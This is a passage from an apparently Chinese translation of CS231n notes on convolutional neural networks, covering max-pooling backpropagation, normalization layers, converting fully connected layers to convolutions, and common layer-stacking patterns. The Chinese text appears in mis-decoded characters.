ทๆ“ไฝœๆ˜ฏๅ–ๆœ€ๅคงๅ€ผ๏ผŒไนŸๅฐฑๆ˜ฏๆœ€ๅคงๆฑ‡่š๏ผŒ่ฟ™้‡Œๆญฅ้•ฟไธบ2๏ผŒๆฏไธชๅ–ๆœ€ๅคงๅ€ผๆ“ไฝœๆ˜ฏไปŽ4ไธชๆ•ฐๅญ—ไธญ้€‰ๅ–๏ผˆๅณ2x2็š„ๆ–นๅ—ๅŒบๅŸŸไธญ๏ผ‰ใ€‚\n\n---\n\n**ๅๅ‘ไผ ๆ’ญ๏ผš**ๅ›ž้กพไธ€ไธ‹ๅๅ‘ไผ ๆ’ญ็š„ๅ†…ๅฎน๏ผŒๅ…ถไธญ$max(x,y)$ๅ‡ฝๆ•ฐ็š„ๅๅ‘ไผ ๆ’ญๅฏไปฅ็ฎ€ๅ•็†่งฃไธบๅฐ†ๆขฏๅบฆๅชๆฒฟๆœ€ๅคง็š„ๆ•ฐๅ›žไผ ใ€‚ๅ› ๆญค๏ผŒๅœจๅ‘ๅ‰ไผ ๆ’ญ็ป่ฟ‡ๆฑ‡่šๅฑ‚็š„ๆ—ถๅ€™๏ผŒ้€šๅธธไผšๆŠŠๆฑ ไธญๆœ€ๅคงๅ…ƒ็ด ็š„็ดขๅผ•่ฎฐๅฝ•ไธ‹ๆฅ๏ผˆๆœ‰ๆ—ถ่ฟ™ไธชไนŸๅซไฝœ**้“ๅฒ”๏ผˆswitches๏ผ‰**๏ผ‰๏ผŒ่ฟ™ๆ ทๅœจๅๅ‘ไผ ๆ’ญ็š„ๆ—ถๅ€™ๆขฏๅบฆ็š„่ทฏ็”ฑๅฐฑๅพˆ้ซ˜ๆ•ˆใ€‚\n\n\n\n**ไธไฝฟ็”จๆฑ‡่šๅฑ‚**๏ผšๅพˆๅคšไบบไธๅ–œๆฌขๆฑ‡่šๆ“ไฝœ๏ผŒ่ฎคไธบๅฏไปฅไธไฝฟ็”จๅฎƒใ€‚ๆฏ”ๅฆ‚ๅœจ[Striving for Simplicity: The All Convolutional Net](http://link.zhihu.com/?target=http%3A//arxiv.org/abs/1412.6806)ไธ€ๆ–‡ไธญ๏ผŒๆๅ‡บไฝฟ็”จไธ€็งๅชๆœ‰้‡ๅค็š„ๅท็งฏๅฑ‚็ป„ๆˆ็š„็ป“ๆž„๏ผŒๆŠ›ๅผƒๆฑ‡่šๅฑ‚ใ€‚้€š่ฟ‡ๅœจๅท็งฏๅฑ‚ไธญไฝฟ็”จๆ›ดๅคง็š„ๆญฅ้•ฟๆฅ้™ไฝŽๆ•ฐๆฎไฝ“็š„ๅฐบๅฏธใ€‚ๆœ‰ๅ‘็Žฐ่ฎคไธบ๏ผŒๅœจ่ฎญ็ปƒไธ€ไธช่‰ฏๅฅฝ็š„็”Ÿๆˆๆจกๅž‹ๆ—ถ๏ผŒๅผƒ็”จๆฑ‡่šๅฑ‚ไนŸๆ˜ฏๅพˆ้‡่ฆ็š„ใ€‚ๆฏ”ๅฆ‚ๅ˜ๅŒ–่‡ช็ผ–็ ๅ™จ๏ผˆVAEs๏ผšvariational autoencoders๏ผ‰ๅ’Œ็”Ÿๆˆๆ€งๅฏนๆŠ—็ฝ‘็ปœ๏ผˆGANs๏ผšgenerative adversarial networks๏ผ‰ใ€‚็Žฐๅœจ็œ‹่ตทๆฅ๏ผŒๆœชๆฅ็š„ๅท็งฏ็ฝ‘็ปœ็ป“ๆž„ไธญ๏ผŒๅฏ่ƒฝไผšๅพˆๅฐ‘ไฝฟ็”จ็”š่‡ณไธไฝฟ็”จๆฑ‡่šๅฑ‚ใ€‚\n\n\n\n## ๅฝ’ไธ€ๅŒ–ๅฑ‚\n\nๅœจๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„็ป“ๆž„ไธญ๏ผŒๆๅ‡บไบ†ๅพˆๅคšไธๅŒ็ฑปๅž‹็š„ๅฝ’ไธ€ๅŒ–ๅฑ‚๏ผŒๆœ‰ๆ—ถๅ€™ๆ˜ฏไธบไบ†ๅฎž็Žฐๅœจ็”Ÿ็‰ฉๅคง่„‘ไธญ่ง‚ๆต‹ๅˆฐ็š„ๆŠ‘ๅˆถๆœบๅˆถใ€‚ไฝ†ๆ˜ฏ่ฟ™ไบ›ๅฑ‚ๆธๆธ้ƒฝไธๅ†ๆต่กŒ๏ผŒๅ› ไธบๅฎž่ทต่ฏๆ˜Žๅฎƒไปฌ็š„ๆ•ˆๆžœๅณไฝฟๅญ˜ๅœจ๏ผŒไนŸๆ˜ฏๆžๅ…ถๆœ‰้™็š„ใ€‚ๅฏนไบŽไธๅŒ็ฑปๅž‹็š„ๅฝ’ไธ€ๅŒ–ๅฑ‚๏ผŒๅฏไปฅ็œ‹็œ‹Alex Krizhevsky็š„ๅ…ณไบŽ[cuda-convnet library API](http://link.zhihu.com/?target=https%3A//code.google.com/p/cuda-convnet/wiki/LayerParams%23Local_response_normalization_layer_%28same_map%29)็š„่ฎจ่ฎบใ€‚\n\n\n\n## ๅ…จ่ฟžๆŽฅๅฑ‚\n\nๅœจๅ…จ่ฟžๆŽฅๅฑ‚ไธญ๏ผŒ็ฅž็ปๅ…ƒๅฏนไบŽๅ‰ไธ€ๅฑ‚ไธญ็š„ๆ‰€ๆœ‰ๆฟ€ๆดปๆ•ฐๆฎๆ˜ฏๅ…จ้ƒจ่ฟžๆŽฅ็š„๏ผŒ่ฟ™ไธชๅธธ่ง„็ฅž็ป็ฝ‘็ปœไธญไธ€ๆ ทใ€‚ๅฎƒไปฌ็š„ๆฟ€ๆดปๅฏไปฅๅ…ˆ็”จ็Ÿฉ้˜ตไน˜ๆณ•๏ผŒๅ†ๅŠ ไธŠๅๅทฎใ€‚ๆ›ดๅคš็ป†่Š‚่ฏทๆŸฅ็œ‹*็ฅž็ป็ฝ‘็ปœ*็ซ ่Š‚ใ€‚\n\n\n\n## ๆŠŠๅ…จ่ฟžๆŽฅๅฑ‚่ฝฌๅŒ–ๆˆๅท็งฏๅฑ‚\n\nๅ…จ่ฟžๆŽฅๅฑ‚ๅ’Œๅท็งฏๅฑ‚ไน‹้—ดๅ”ฏไธ€็š„ไธๅŒๅฐฑๆ˜ฏๅท็งฏๅฑ‚ไธญ็š„็ฅž็ปๅ…ƒๅชไธŽ่พ“ๅ…ฅๆ•ฐๆฎไธญ็š„ไธ€ไธชๅฑ€้ƒจๅŒบๅŸŸ่ฟžๆŽฅ๏ผŒๅนถไธ”ๅœจๅท็งฏๅˆ—ไธญ็š„็ฅž็ปๅ…ƒๅ…ฑไบซๅ‚ๆ•ฐใ€‚็„ถ่€Œๅœจไธค็ฑปๅฑ‚ไธญ๏ผŒ็ฅž็ปๅ…ƒ้ƒฝๆ˜ฏ่ฎก็ฎ—็‚น็งฏ๏ผŒๆ‰€ไปฅๅฎƒไปฌ็š„ๅ‡ฝๆ•ฐๅฝขๅผๆ˜ฏไธ€ๆ ท็š„ใ€‚ๅ› ๆญค๏ผŒๅฐ†ๆญคไธค่€…็›ธไบ’่ฝฌๅŒ–ๆ˜ฏๅฏ่ƒฝ็š„๏ผš\n\n- ๅฏนไบŽไปปไธ€ไธชๅท็งฏๅฑ‚๏ผŒ้ƒฝๅญ˜ๅœจไธ€ไธช่ƒฝๅฎž็Žฐๅ’Œๅฎƒไธ€ๆ ท็š„ๅ‰ๅ‘ไผ ๆ’ญๅ‡ฝๆ•ฐ็š„ๅ…จ่ฟžๆŽฅๅฑ‚ใ€‚ๆƒ้‡็Ÿฉ้˜ตๆ˜ฏไธ€ไธชๅทจๅคง็š„็Ÿฉ้˜ต๏ผŒ้™คไบ†ๆŸไบ›็‰นๅฎšๅ—๏ผˆ่ฟ™ๆ˜ฏๅ› ไธบๆœ‰ๅฑ€้ƒจ่ฟžๆŽฅ๏ผ‰๏ผŒๅ…ถไฝ™้ƒจๅˆ†้ƒฝๆ˜ฏ้›ถใ€‚่€Œๅœจๅ…ถไธญๅคง้ƒจๅˆ†ๅ—ไธญ๏ผŒๅ…ƒ็ด ้ƒฝๆ˜ฏ็›ธ็ญ‰็š„๏ผˆๅ› ไธบๅ‚ๆ•ฐๅ…ฑไบซ๏ผ‰ใ€‚\n- ็›ธๅ๏ผŒไปปไฝ•ๅ…จ่ฟžๆŽฅๅฑ‚้ƒฝๅฏไปฅ่ขซ่ฝฌๅŒ–ไธบๅท็งฏๅฑ‚ใ€‚ๆฏ”ๅฆ‚๏ผŒไธ€ไธช$K=4096$็š„ๅ…จ่ฟžๆŽฅๅฑ‚๏ผŒ่พ“ๅ…ฅๆ•ฐๆฎไฝ“็š„ๅฐบๅฏธๆ˜ฏ$7\\times 7\\times 512$๏ผŒ่ฟ™ไธชๅ…จ่ฟžๆŽฅๅฑ‚ๅฏไปฅ่ขซ็ญ‰ๆ•ˆๅœฐ็œ‹ๅšไธ€ไธช$F=7,P=0,S=1,K=4096$็š„ๅท็งฏๅฑ‚ใ€‚ๆขๅฅ่ฏ่ฏด๏ผŒๅฐฑๆ˜ฏๅฐ†ๆปคๆณขๅ™จ็š„ๅฐบๅฏธ่ฎพ็ฝฎไธบๅ’Œ่พ“ๅ…ฅๆ•ฐๆฎไฝ“็š„ๅฐบๅฏธไธ€่‡ดไบ†ใ€‚ๅ› ไธบๅชๆœ‰ไธ€ไธชๅ•็‹ฌ็š„ๆทฑๅบฆๅˆ—่ฆ†็›–ๅนถๆป‘่ฟ‡่พ“ๅ…ฅๆ•ฐๆฎไฝ“๏ผŒๆ‰€ไปฅ่พ“ๅ‡บๅฐ†ๅ˜ๆˆ$1\\times 1\\times 4096$๏ผŒ่ฟ™ไธช็ป“ๆžœๅฐฑๅ’Œไฝฟ็”จๅˆๅง‹็š„้‚ฃไธชๅ…จ่ฟžๆŽฅๅฑ‚ไธ€ๆ ทไบ†ใ€‚\n\n**ๅ…จ่ฟžๆŽฅๅฑ‚่ฝฌๅŒ–ไธบๅท็งฏๅฑ‚**๏ผšๅœจไธค็งๅ˜ๆขไธญ๏ผŒๅฐ†ๅ…จ่ฟžๆŽฅๅฑ‚่ฝฌๅŒ–ไธบๅท็งฏๅฑ‚ๅœจๅฎž้™…่ฟ็”จไธญๆ›ดๅŠ ๆœ‰็”จใ€‚ๅ‡่ฎพไธ€ไธชๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„่พ“ๅ…ฅๆ˜ฏ224x224x3็š„ๅ›พๅƒ๏ผŒไธ€็ณปๅˆ—็š„ๅท็งฏๅฑ‚ๅ’Œๆฑ‡่šๅฑ‚ๅฐ†ๅ›พๅƒๆ•ฐๆฎๅ˜ไธบๅฐบๅฏธไธบ7x7x512็š„ๆฟ€ๆดปๆ•ฐๆฎไฝ“๏ผˆๅœจAlexNetไธญๅฐฑๆ˜ฏ่ฟ™ๆ ท๏ผŒ้€š่ฟ‡ไฝฟ็”จ5ไธชๆฑ‡่šๅฑ‚ๆฅๅฏน่พ“ๅ…ฅๆ•ฐๆฎ่ฟ›่กŒ็ฉบ้—ดไธŠ็š„้™้‡‡ๆ ท๏ผŒๆฏๆฌกๅฐบๅฏธไธ‹้™ไธ€ๅŠ๏ผŒๆ‰€ไปฅๆœ€็ปˆ็ฉบ้—ดๅฐบๅฏธไธบ224/2/2/2/2/2=7๏ผ‰ใ€‚ไปŽ่ฟ™้‡Œๅฏไปฅ็œ‹ๅˆฐ๏ผŒAlexNetไฝฟ็”จไบ†ไธคไธชๅฐบๅฏธไธบ4096็š„ๅ…จ่ฟžๆŽฅๅฑ‚๏ผŒๆœ€ๅŽไธ€ไธชๆœ‰1000ไธช็ฅž็ปๅ…ƒ็š„ๅ…จ่ฟžๆŽฅๅฑ‚็”จไบŽ่ฎก็ฎ—ๅˆ†็ฑป่ฏ„ๅˆ†ใ€‚ๆˆ‘ไปฌๅฏไปฅๅฐ†่ฟ™3ไธชๅ…จ่ฟžๆŽฅๅฑ‚ไธญ็š„ไปปๆ„ไธ€ไธช่ฝฌๅŒ–ไธบๅท็งฏๅฑ‚๏ผš\n\n- ้’ˆๅฏน็ฌฌไธ€ไธช่ฟžๆŽฅๅŒบๅŸŸๆ˜ฏ[7x7x512]็š„ๅ…จ่ฟžๆŽฅๅฑ‚๏ผŒไปคๅ…ถๆปคๆณขๅ™จๅฐบๅฏธไธบ$F=7$๏ผŒ่ฟ™ๆ ท่พ“ๅ‡บๆ•ฐๆฎไฝ“ๅฐฑไธบ[1x1x4096]ไบ†ใ€‚\n- ้’ˆๅฏน็ฌฌไบŒไธชๅ…จ่ฟžๆŽฅๅฑ‚๏ผŒไปคๅ…ถๆปคๆณขๅ™จๅฐบๅฏธไธบ$F=1$๏ผŒ่ฟ™ๆ ท่พ“ๅ‡บๆ•ฐๆฎไฝ“ไธบ[1x1x4096]ใ€‚\n- ๅฏนๆœ€ๅŽไธ€ไธชๅ…จ่ฟžๆŽฅๅฑ‚ไนŸๅš็ฑปไผผ็š„๏ผŒไปคๅ…ถ$F=1$๏ผŒๆœ€็ปˆ่พ“ๅ‡บไธบ[1x1x1000]\n\nๅฎž้™…ๆ“ไฝœไธญ๏ผŒๆฏๆฌก่ฟ™ๆ ท็š„ๅ˜ๆข้ƒฝ้œ€่ฆๆŠŠๅ…จ่ฟžๆŽฅๅฑ‚็š„ๆƒ้‡W้‡ๅก‘ๆˆๅท็งฏๅฑ‚็š„ๆปคๆณขๅ™จใ€‚้‚ฃไนˆ่ฟ™ๆ ท็š„่ฝฌๅŒ–ๆœ‰ไป€ไนˆไฝœ็”จๅ‘ข๏ผŸๅฎƒๅœจไธ‹้ข็š„ๆƒ…ๅ†ตไธ‹ๅฏไปฅๆ›ด้ซ˜ๆ•ˆ๏ผš่ฎฉๅท็งฏ็ฝ‘็ปœๅœจไธ€ๅผ ๆ›ดๅคง็š„่พ“ๅ…ฅๅ›พ็‰‡ไธŠๆป‘ๅŠจ๏ผˆ**\\*่ฏ‘่€…ๆณจ**๏ผšๅณๆŠŠไธ€ๅผ ๆ›ดๅคง็š„ๅ›พ็‰‡็š„ไธๅŒๅŒบๅŸŸ้ƒฝๅˆ†ๅˆซๅธฆๅ…ฅๅˆฐๅท็งฏ็ฝ‘็ปœ๏ผŒๅพ—ๅˆฐๆฏไธชๅŒบๅŸŸ็š„ๅพ—ๅˆ†*๏ผ‰๏ผŒๅพ—ๅˆฐๅคšไธช่พ“ๅ‡บ๏ผŒ่ฟ™ๆ ท็š„่ฝฌๅŒ–ๅฏไปฅ่ฎฉๆˆ‘ไปฌๅœจๅ•ไธชๅ‘ๅ‰ไผ ๆ’ญ็š„่ฟ‡็จ‹ไธญๅฎŒๆˆไธŠ่ฟฐ็š„ๆ“ไฝœใ€‚\n\n\n\nไธพไธชไพ‹ๅญ๏ผŒๅฆ‚ๆžœๆˆ‘ไปฌๆƒณ่ฎฉ224x224ๅฐบๅฏธ็š„ๆตฎ็ช—๏ผŒไปฅๆญฅ้•ฟไธบ32ๅœจ384x384็š„ๅ›พ็‰‡ไธŠๆป‘ๅŠจ๏ผŒๆŠŠๆฏไธช็ปๅœ็š„ไฝ็ฝฎ้ƒฝๅธฆๅ…ฅๅท็งฏ็ฝ‘็ปœ๏ผŒๆœ€ๅŽๅพ—ๅˆฐ6x6ไธชไฝ็ฝฎ็š„็ฑปๅˆซๅพ—ๅˆ†ใ€‚ไธŠ่ฟฐ็š„ๆŠŠๅ…จ่ฟžๆŽฅๅฑ‚่ฝฌๆขๆˆๅท็งฏๅฑ‚็š„ๅšๆณ•ไผšๆ›ด็ฎ€ไพฟใ€‚ๅฆ‚ๆžœ224x224็š„่พ“ๅ…ฅๅ›พ็‰‡็ป่ฟ‡ๅท็งฏๅฑ‚ๅ’Œๆฑ‡่šๅฑ‚ไน‹ๅŽๅพ—ๅˆฐไบ†[7x7x512]็š„ๆ•ฐ็ป„๏ผŒ้‚ฃไนˆ๏ผŒ384x384็š„ๅคงๅ›พ็‰‡็›ดๆŽฅ็ป่ฟ‡ๅŒๆ ท็š„ๅท็งฏๅฑ‚ๅ’Œๆฑ‡่šๅฑ‚ไน‹ๅŽไผšๅพ—ๅˆฐ[12x12x512]็š„ๆ•ฐ็ป„๏ผˆๅ› ไธบ้€”ๅพ„5ไธชๆฑ‡่šๅฑ‚๏ผŒๅฐบๅฏธๅ˜ไธบ384/2/2/2/2/2 = 12๏ผ‰ใ€‚็„ถๅŽๅ†็ป่ฟ‡ไธŠ้ข็”ฑ3ไธชๅ…จ่ฟžๆŽฅๅฑ‚่ฝฌๅŒ–ๅพ—ๅˆฐ็š„3ไธชๅท็งฏๅฑ‚๏ผŒๆœ€็ปˆๅพ—ๅˆฐ[6x6x1000]็š„่พ“ๅ‡บ๏ผˆๅ› ไธบ(12 - 7)/1 + 1 = 6๏ผ‰ใ€‚่ฟ™ไธช็ป“ๆžœๆญฃๆ˜ฏๆตฎ็ช—ๅœจๅŽŸๅ›พ็ปๅœ็š„6x6ไธชไฝ็ฝฎ็š„ๅพ—ๅˆ†๏ผ๏ผˆ**\\*่ฏ‘่€…ๆณจ**๏ผš่ฟ™ไธ€ๆฎต็š„็ฟป่ฏ‘ไธŽๅŽŸๆ–‡ไธๅŒ๏ผŒ็ป่ฟ‡ไบ†่ฏ‘่€…่พƒๅคš็š„ไฟฎๆ”น๏ผŒไฝฟๆ›ดๅฎนๆ˜“็†่งฃ*๏ผ‰\n\n> ้ขๅฏน384x384็š„ๅ›พๅƒ๏ผŒ่ฎฉ๏ผˆๅซๅ…จ่ฟžๆŽฅๅฑ‚๏ผ‰็š„ๅˆๅง‹ๅท็งฏ็ฅž็ป็ฝ‘็ปœไปฅ32ๅƒ็ด ็š„ๆญฅ้•ฟ็‹ฌ็ซ‹ๅฏนๅ›พๅƒไธญ็š„224x224ๅ—่ฟ›่กŒๅคšๆฌก่ฏ„ไปท๏ผŒๅ…ถๆ•ˆๆžœๅ’Œไฝฟ็”จๆŠŠๅ…จ่ฟžๆŽฅๅฑ‚ๅ˜ๆขไธบๅท็งฏๅฑ‚ๅŽ็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœ่ฟ›่กŒไธ€ๆฌกๅ‰ๅ‘ไผ ๆ’ญๆ˜ฏไธ€ๆ ท็š„ใ€‚\n\n่‡ช็„ถ๏ผŒ็›ธ่พƒไบŽไฝฟ็”จ่ขซ่ฝฌๅŒ–ๅ‰็š„ๅŽŸๅง‹ๅท็งฏ็ฅž็ป็ฝ‘็ปœๅฏนๆ‰€ๆœ‰36ไธชไฝ็ฝฎ่ฟ›่กŒ่ฟญไปฃ่ฎก็ฎ—๏ผŒไฝฟ็”จ่ฝฌๅŒ–ๅŽ็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœ่ฟ›่กŒไธ€ๆฌกๅ‰ๅ‘ไผ ๆ’ญ่ฎก็ฎ—่ฆ้ซ˜ๆ•ˆๅพ—ๅคš๏ผŒๅ› ไธบ36ๆฌก่ฎก็ฎ—้ƒฝๅœจๅ…ฑไบซ่ฎก็ฎ—่ต„ๆบใ€‚่ฟ™ไธ€ๆŠ€ๅทงๅœจๅฎž่ทตไธญ็ปๅธธไฝฟ็”จ๏ผŒไธ€ๆฌกๆฅ่Žทๅพ—ๆ›ดๅฅฝ็š„็ป“ๆžœใ€‚ๆฏ”ๅฆ‚๏ผŒ้€šๅธธๅฐ†ไธ€ๅผ ๅ›พๅƒๅฐบๅฏธๅ˜ๅพ—ๆ›ดๅคง๏ผŒ็„ถๅŽไฝฟ็”จๅ˜ๆขๅŽ็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœๆฅๅฏน็ฉบ้—ดไธŠๅพˆๅคšไธๅŒไฝ็ฝฎ่ฟ›่กŒ่ฏ„ไปทๅพ—ๅˆฐๅˆ†็ฑป่ฏ„ๅˆ†๏ผŒ็„ถๅŽๅœจๆฑ‚่ฟ™ไบ›ๅˆ†ๅ€ผ็š„ๅนณๅ‡ๅ€ผใ€‚\n\n\n\nๆœ€ๅŽ๏ผŒๅฆ‚ๆžœๆˆ‘ไปฌๆƒณ็”จๆญฅ้•ฟๅฐไบŽ32็š„ๆตฎ็ช—ๆ€ŽไนˆๅŠž๏ผŸ็”จๅคšๆฌก็š„ๅ‘ๅ‰ไผ ๆ’ญๅฐฑๅฏไปฅ่งฃๅ†ณใ€‚ๆฏ”ๅฆ‚ๆˆ‘ไปฌๆƒณ็”จๆญฅ้•ฟไธบ16็š„ๆตฎ็ช—ใ€‚้‚ฃไนˆๅ…ˆไฝฟ็”จๅŽŸๅ›พๅœจ่ฝฌๅŒ–ๅŽ็š„ๅท็งฏ็ฝ‘็ปœๆ‰ง่กŒๅ‘ๅ‰ไผ ๆ’ญ๏ผŒ็„ถๅŽๅˆ†ๅˆซๆฒฟๅฎฝๅบฆ๏ผŒๆฒฟ้ซ˜ๅบฆ๏ผŒๆœ€ๅŽๅŒๆ—ถๆฒฟๅฎฝๅบฆๅ’Œ้ซ˜ๅบฆ๏ผŒๆŠŠๅŽŸๅง‹ๅ›พ็‰‡ๅˆ†ๅˆซๅนณ็งป16ไธชๅƒ็ด ๏ผŒ็„ถๅŽๆŠŠ่ฟ™ไบ›ๅนณ็งปไน‹ๅŽ็š„ๅ›พๅˆ†ๅˆซๅธฆๅ…ฅๅท็งฏ็ฝ‘็ปœใ€‚๏ผˆ**\\*่ฏ‘่€…ๆณจ**๏ผš่ฟ™ไธ€ๆฎต็š„็ฟป่ฏ‘ไธŽๅŽŸๆ–‡ไธๅŒ๏ผŒ็ป่ฟ‡ไบ†่ฏ‘่€…่พƒๅคš็š„ไฟฎๆ”น๏ผŒไฝฟๆ›ดๅฎนๆ˜“็†่งฃ*๏ผ‰\n\n- [Net Surgery](http://link.zhihu.com/?target=https%3A//github.com/BVLC/caffe/blob/master/examples/net_surgery.ipynb)ไธŠไธ€ไธชไฝฟ็”จCaffeๆผ”็คบๅฆ‚ไฝ•ๅœจ่ฟ›่กŒๅ˜ๆข็š„IPython Noteๆ•™็จ‹ใ€‚\n\n\n\n## **ๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„็ป“ๆž„**\n\nๅท็งฏ็ฅž็ป็ฝ‘็ปœ้€šๅธธๆ˜ฏ็”ฑไธ‰็งๅฑ‚ๆž„ๆˆ๏ผšๅท็งฏๅฑ‚๏ผŒๆฑ‡่šๅฑ‚๏ผˆ้™ค้ž็‰นๅˆซ่ฏดๆ˜Ž๏ผŒไธ€่ˆฌๅฐฑๆ˜ฏๆœ€ๅคงๅ€ผๆฑ‡่š๏ผ‰ๅ’Œๅ…จ่ฟžๆŽฅๅฑ‚๏ผˆ็ฎ€็งฐFC๏ผ‰ใ€‚ReLUๆฟ€ๆดปๅ‡ฝๆ•ฐไนŸๅบ”่ฏฅ็ฎ—ๆ˜ฏๆ˜ฏไธ€ๅฑ‚๏ผŒๅฎƒ้€ๅ…ƒ็ด ๅœฐ่ฟ›่กŒๆฟ€ๆดปๅ‡ฝๆ•ฐๆ“ไฝœใ€‚ๅœจๆœฌ่Š‚ไธญๅฐ†่ฎจ่ฎบๅœจๅท็งฏ็ฅž็ป็ฝ‘็ปœไธญ่ฟ™ไบ›ๅฑ‚้€šๅธธๆ˜ฏๅฆ‚ไฝ•็ป„ๅˆๅœจไธ€่ตท็š„ใ€‚\n\n\n\n## ๅฑ‚็š„ๆŽ’ๅˆ—่ง„ๅพ‹\n\nๅท็งฏ็ฅž็ป็ฝ‘็ปœๆœ€ๅธธ่ง็š„ๅฝขๅผๅฐฑๆ˜ฏๅฐ†ไธ€ไบ›ๅท็งฏๅฑ‚ๅ’ŒReLUๅฑ‚ๆ”พๅœจไธ€่ตท๏ผŒๅ…ถๅŽ็ดง่ทŸๆฑ‡่šๅฑ‚๏ผŒ็„ถๅŽ้‡ๅคๅฆ‚ๆญค็›ดๅˆฐๅ›พๅƒๅœจ็ฉบ้—ดไธŠ่ขซ็ผฉๅฐๅˆฐไธ€ไธช่ถณๅคŸๅฐ็š„ๅฐบๅฏธ๏ผŒๅœจๆŸไธชๅœฐๆ–น่ฟ‡ๆธกๆˆๆˆๅ…จ่ฟžๆŽฅๅฑ‚ไนŸ่พƒไธบๅธธ่งใ€‚ๆœ€ๅŽ็š„ๅ…จ่ฟžๆŽฅๅฑ‚ๅพ—ๅˆฐ่พ“ๅ‡บ๏ผŒๆฏ”ๅฆ‚ๅˆ†็ฑป่ฏ„ๅˆ†็ญ‰ใ€‚ๆขๅฅ่ฏ่ฏด๏ผŒๆœ€ๅธธ่ง็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœ็ป“ๆž„ๅฆ‚ไธ‹๏ผš\n\n\n\n**INPUT -> [[CONV -> RELU]\\*N -> POOL?]*M -> [FC -> RELU]*K -> FC**\n\n\n\nๅ…ถไธญ*****ๆŒ‡็š„ๆ˜ฏ้‡ๅคๆฌกๆ•ฐ๏ผŒ**POOL?**ๆŒ‡็š„ๆ˜ฏไธ€ไธชๅฏ้€‰็š„ๆฑ‡่šๅฑ‚ใ€‚ๅ…ถไธญ**N >=0**,้€šๅธธ**N<=3**,**M>=0**,**K>=0**,้€šๅธธ**K<3**ใ€‚ไพ‹ๅฆ‚๏ผŒไธ‹้ขๆ˜ฏไธ€ไบ›ๅธธ่ง็š„็ฝ‘็ปœ็ป“ๆž„่ง„ๅพ‹๏ผš\n\n- **INPUT -> FC**,ๅฎž็Žฐไธ€ไธช็บฟๆ€งๅˆ†็ฑปๅ™จ๏ผŒๆญคๅค„**N = M = K = 0**ใ€‚\n- **INPUT -> CONV -> RELU -> FC**\n- **INPUT -> [CONV -> RELU -> POOL]\\*2 -> FC -> RELU -> FC**ใ€‚ๆญคๅค„ๅœจๆฏไธชๆฑ‡่šๅฑ‚ไน‹้—ดๆœ‰ไธ€ไธชๅท็งฏๅฑ‚ใ€‚\n- **INPUT -> [CONV -> RELU -> CONV -> RELU -> POOL]\\*3 -> [FC -> RELU]*2 -> FC**ใ€‚ๆญคๅค„ๆฏไธชๆฑ‡่šๅฑ‚ๅ‰ๆœ‰ไธคไธชๅท็งฏๅฑ‚๏ผŒ่ฟ™ไธชๆ€่ทฏ้€‚็”จไบŽๆ›ดๅคงๆ›ดๆทฑ็š„็ฝ‘็ปœ๏ผŒๅ› ไธบๅœจๆ‰ง่กŒๅ…ทๆœ‰็ ดๅๆ€ง็š„ๆฑ‡่šๆ“ไฝœๅ‰๏ผŒๅคš้‡็š„ๅท็งฏๅฑ‚ๅฏไปฅไปŽ่พ“ๅ…ฅๆ•ฐๆฎไธญๅญฆไน ๅˆฐๆ›ดๅคš็š„ๅคๆ‚็‰นๅพใ€‚\n\n\n\n*ๅ‡ ไธชๅฐๆปคๆณขๅ™จๅท็งฏๅฑ‚็š„็ป„ๅˆๆฏ”ไธ€ไธชๅคงๆปคๆณขๅ™จๅท็งฏๅฑ‚ๅฅฝ*๏ผšๅ‡่ฎพไฝ ไธ€ๅฑ‚ไธ€ๅฑ‚ๅœฐ้‡ๅ ไบ†3ไธช3x3็š„ๅท็งฏๅฑ‚๏ผˆๅฑ‚ไธŽๅฑ‚ไน‹้—ดๆœ‰้ž็บฟๆ€งๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ผ‰ใ€‚ๅœจ่ฟ™ไธชๆŽ’ๅˆ—ไธ‹๏ผŒ็ฌฌไธ€ไธชๅท็งฏๅฑ‚ไธญ็š„ๆฏไธช็ฅž็ปๅ…ƒ้ƒฝๅฏน่พ“ๅ…ฅๆ•ฐๆฎไฝ“ๆœ‰ไธ€ไธช3x3็š„่ง†้‡Žใ€‚็ฌฌไบŒไธชๅท็งฏๅฑ‚ไธŠ็š„็ฅž็ปๅ…ƒๅฏน็ฌฌไธ€ไธชๅท็งฏๅฑ‚ๆœ‰ไธ€ไธช3x3็š„่ง†้‡Ž๏ผŒไนŸๅฐฑๆ˜ฏๅฏน่พ“ๅ…ฅๆ•ฐๆฎไฝ“ๆœ‰5x5็š„่ง†้‡Žใ€‚ๅŒๆ ท๏ผŒๅœจ็ฌฌไธ‰ไธชๅท็งฏๅฑ‚ไธŠ็š„็ฅž็ปๅ…ƒๅฏน็ฌฌไบŒไธชๅท็งฏๅฑ‚ๆœ‰3x3็š„่ง†้‡Ž๏ผŒไนŸๅฐฑๆ˜ฏๅฏน่พ“ๅ…ฅๆ•ฐๆฎไฝ“ๆœ‰7x7็š„่ง†้‡Žใ€‚ๅ‡่ฎพไธ้‡‡็”จ่ฟ™3ไธช3x3็š„ๅท็งฏๅฑ‚๏ผŒไบŒๆ˜ฏไฝฟ็”จไธ€ไธชๅ•็‹ฌ็š„ๆœ‰7x7็š„ๆ„Ÿๅ—้‡Ž็š„ๅท็งฏๅฑ‚๏ผŒ้‚ฃไนˆๆ‰€ๆœ‰็ฅž็ปๅ…ƒ็š„ๆ„Ÿๅ—้‡ŽไนŸๆ˜ฏ7x7๏ผŒไฝ†ๆ˜ฏๅฐฑๆœ‰ไธ€ไบ›็ผบ็‚นใ€‚้ฆ–ๅ…ˆ๏ผŒๅคšไธชๅท็งฏๅฑ‚ไธŽ้ž็บฟๆ€ง็š„ๆฟ€ๆดปๅฑ‚ไบคๆ›ฟ็š„็ป“ๆž„๏ผŒๆฏ”ๅ•ไธ€ๅท็งฏๅฑ‚็š„็ป“ๆž„ๆ›ด่ƒฝๆๅ–ๅ‡บๆทฑๅฑ‚็š„ๆ›ดๅฅฝ็š„็‰นๅพใ€‚ๅ…ถๆฌก๏ผŒๅ‡่ฎพๆ‰€ๆœ‰็š„ๆ•ฐๆฎๆœ‰$C$ไธช้€š้“๏ผŒ้‚ฃไนˆๅ•็‹ฌ็š„7x7ๅท็งฏๅฑ‚ๅฐ†ไผšๅŒ…ๅซ$C\\times (7\\times 7\\times 